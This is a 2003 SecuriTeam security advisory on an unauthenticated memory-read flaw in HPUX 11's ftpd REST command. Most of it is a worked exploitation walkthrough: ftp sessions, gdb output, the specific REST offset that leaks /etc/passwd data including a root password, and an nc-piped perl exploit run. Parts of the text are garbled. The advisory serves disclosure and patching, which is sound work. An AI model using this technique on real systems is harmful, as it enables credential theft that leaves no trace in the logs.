[UNIX] HPUX ftpd remote issue via REST
From: SecuriTeam (support_at_securiteam.com)
Date: 06/06/03
- Previous message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in mod_gzip Debugging Routines"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 6 Jun 2003 17:42:32 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Latest attack techniques.
You're a pen tester, but is google.com still your R&D team?
Now you can get trustworthy commercial-grade exploits and the latest
techniques from a world-class research group.
Learn more at http://www.coresecurity.com/promos/sit_e1,
or call 617-399-6980
- - - - - - - - -
HPUX ftpd remote issue via REST
------------------------------------------------------------------------
SUMMARY
The ftpd that comes default with HPUX 11 is vulnerable to an attack that
will allow an attacker to view the contents ofny file on the system
without first authenticating. This is subject to first getting the file
into memory.
DETAILS
Vulnerable systems:
HPUX ftpd version 1.1.214.4
This issue occurs in the REST command. REST is intended to allow the user
to restart an upload or download from a pvious location. For example, if a
user was disconnected from the internet he or she could resume the
session where he left offa a later time. The argument that is passed
to the REST command can be used to specify a memory address to read from.
This allows an attacker for example to easily read the root password from
memory.
The text description for HPUX patch PHNE_21936 contains the following:
PHNE_18377:
The wrong conversion character was used in the format string to define
the filesize.
Resolution:
The conversion character in the format was changed to the offset_uformat
macro.
When exploiting this issue SNOSoft noticed the offset_uformat macro seems
to be used when presenting the user withata about the restarted session.
Due to the bad use of a conversion character and the connection with
offset_uformat there was a good chance this csed the problem.
If we take a look in gdb we can see how this bug becomes exploitable.
frieza elguapo $ ftp 192.168.1.111
Connected to 192.168.1.111.
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999)
ready.
Name (192.168.1.111:root): elguapo
331 Password required for elguapo.
Password:
230 User elguapo logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> rest 1111111111111111
restarting at 2147483647. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
# gdb /usr/lbin/ftpd 2862
GNU gdb 4.18-hppa-991112
Copyright 1998 Free Software Foundation, Inc.
/home/elguapo/2862: No such file or directory.
Attaching to program: /usr/lbin/ftpd, process 2862
Unable to find __dld_flags symbol in object file.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x7fffffff: Bad address.
(gdb) info registers r3 r11
r3: 7fffffff
r11: 7fffffff
For some reason we are trying to read from the address 0x7fffffff. If we
try different offsets for the REST commanwe discover that we have full
control of the address being read. In gdb this address can be found in
both r3 and r11. Below youse the result of trying different
addresses. The value that is stored in r3 will later be used in a call to
write() .
ftp> rest 200000
restarting at 200000. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d40: Bad address.
ftp> rest 200002
restarting at 200002. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d42: Bad address.
ftp> rest 200004
restarting at 200004. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d44: Bad address.
You should note that the address that is being read from seems to be
incremented as we increment the REST offset. escription100=At this point
we only need to find a good section of memory to try to read from. SNOSoft
figured out rather quickythat when attempting to loginto the ftpd the root
password is obviously put in memory. After a bit of tracing through system
cll the address that the password was stored at was found, and it can be
simply supplied via the REST command.
The result of that exercise can be seen below.
During authentication the following occurs.
open("/etc/passwd", O_RDONLY, 0666) [entry]
open("/etc/passwd", O_RDONLY, 0666)
ioctl(5, TCGETA, 0x7f7e61b8)[entry]
ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
read(5, 0x4002fe10, 8192)[entry]
read(5, 0x4002fe10, 8192)= 454
r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :
The address 0x4002fe10 should now contain the root password. This is the
address that we should put in the r3 regter. REST 1073937936 should do the
job. A simple perl script serves the purpose of an exploit.
frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999)
ready.
331 Password required for root.
530 Login incorrect.
350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n
daemon:*:1:5::/:/sbin/sh\n bin:
...
You will notice that the root password is printed to the screen as part of
the restart information. We have now scessfully exploited this issue.
Unfortunately there is zero information left in log files for tracking the
attacker. Below is an example of what u would see in syslog.
Jan 1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication
failed
Jan 1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect
Jan 1 07:34:53 kakarot ftpd[2138]: FTP session closed
Patch:
Install HPUX patch PHNE_18377 or higher (PHNE_21936)
ADDITIONAL INFORMATION
The information has been provided by <mailto:dotslash@snosoft.com> KF.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in mod_gzip Debugging Routines"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- SRT2003-06-05-0935 - HPUX ftpd remote issue via REST
... Secure Network Operations offers expertise in Networking, ... to the REST command
can be used to specify a memory address to read from. ... If we take a look in gdb
we can see how this bug becomes exploitable. ... frieza elguapo $ ftp 192.168.1.111 ...
(Bugtraq) - [Full-Disclosure] SRT2003-06-05-0935 - HPUX ftpd remote issue via REST
... Secure Network Operations offers expertise in Networking, ... to the REST command
can be used to specify a memory address to read from. ... If we take a look in gdb
we can see how this bug becomes exploitable. ... frieza elguapo $ ftp 192.168.1.111 ...
(Full-Disclosure) - Re: Stream from FTP directly to MySQL while parsing CSV
... > 1) Login to the ftp server using the FTP library in PHP ... >
4) Insert/Update the data in the array using DB in PEAR. ... Everything is handled in memory
so not temp files are needed. ... (comp.lang.php) - Re: Is this a leakage in virtual memory abstraction?
... A memory leak involves losing pointers to dynamically allocated memory ... char
three; ... The GDB session is as follows ... x/x tells your debugger to display
a *FOUR BYTE INTEGER*, ... (comp.lang.c.moderated) - -STABLE panic (usually) in vm_fault
... Intel D865GBF with a Pentium 4 and 2GB of memory. ... GDB is free
software, covered by the GNU General Public License, and you ... page fault while in kernel
mode ... (freebsd-stable)